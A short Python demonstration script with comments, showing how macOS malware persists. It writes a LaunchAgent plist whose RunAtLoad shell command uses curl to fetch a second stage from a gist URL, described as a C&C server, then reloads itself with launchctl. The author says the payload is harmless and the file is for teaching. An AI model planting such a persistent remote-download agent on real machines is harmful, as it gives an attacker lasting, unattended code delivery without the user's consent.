# This file shows an example of how macOS malware may persist on a system.
# This approach persists as a LaunchAgent that is stored at:
# ~/Library/LaunchAgents/sample_malware_persistence.plist

# A .plist file is just glorified XML. macOS lets you specify something
# called ProgramArguments, which you can use to run arbitrary terminal
# commands. This .plist file is responsible for downloading the second
# stage of an attack from a C&C server (gist.github.com) and making itself
# persistent. This particular file and payload is *not malicious*.

# The payload in this plist file is:
# curl -o ~/Library/LaunchAgents/payload https://gist.githubusercontent.com/alichtman/02552dea8d9dc509942d57b77112f008/raw/
# && cp ~/Library/LaunchAgents/payload ~/Desktop/pwn_notification.txt
# && launchctl load -w ~/Library/LaunchAgents/sample_malware_persistence.plist

# Tested on macOS 10.14.4

import os

sample_malware_persistence_plist = """<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" ...>
	<plist version="1.0">
	<dict>
	<key>Label</key>
	<string>SampleMacOSMalware</string>
	<key>ProgramArguments</key>
	<array>
	    <string>sh</string>
	    <string>-c</string>
	    <string>curl -o ~/Library/LaunchAgents/payload https://gist.githubusercontent.com/alichtman/02552dea8d9dc509942d57b77112f008/raw/ && cp ~/Library/LaunchAgents/payload ~/Desktop/pwn_notification.txt && launchctl load -w ~/Library/LaunchAgents/sample_malware_persistence.plist</string>
	  </array>
	  <key>RunAtLoad</key>
	  <true/>
	</dict>
</plist>
"""


def main():
	plist_path = os.path.expanduser("~/Library/LaunchAgents/sample_malware_persistence.plist")
	print("Creating persistent launch agent at:", plist_path)
	with open(plist_path, "w+") as f:
		f.write(sample_malware_persistence_plist)


if __name__ == '__main__':
	main()
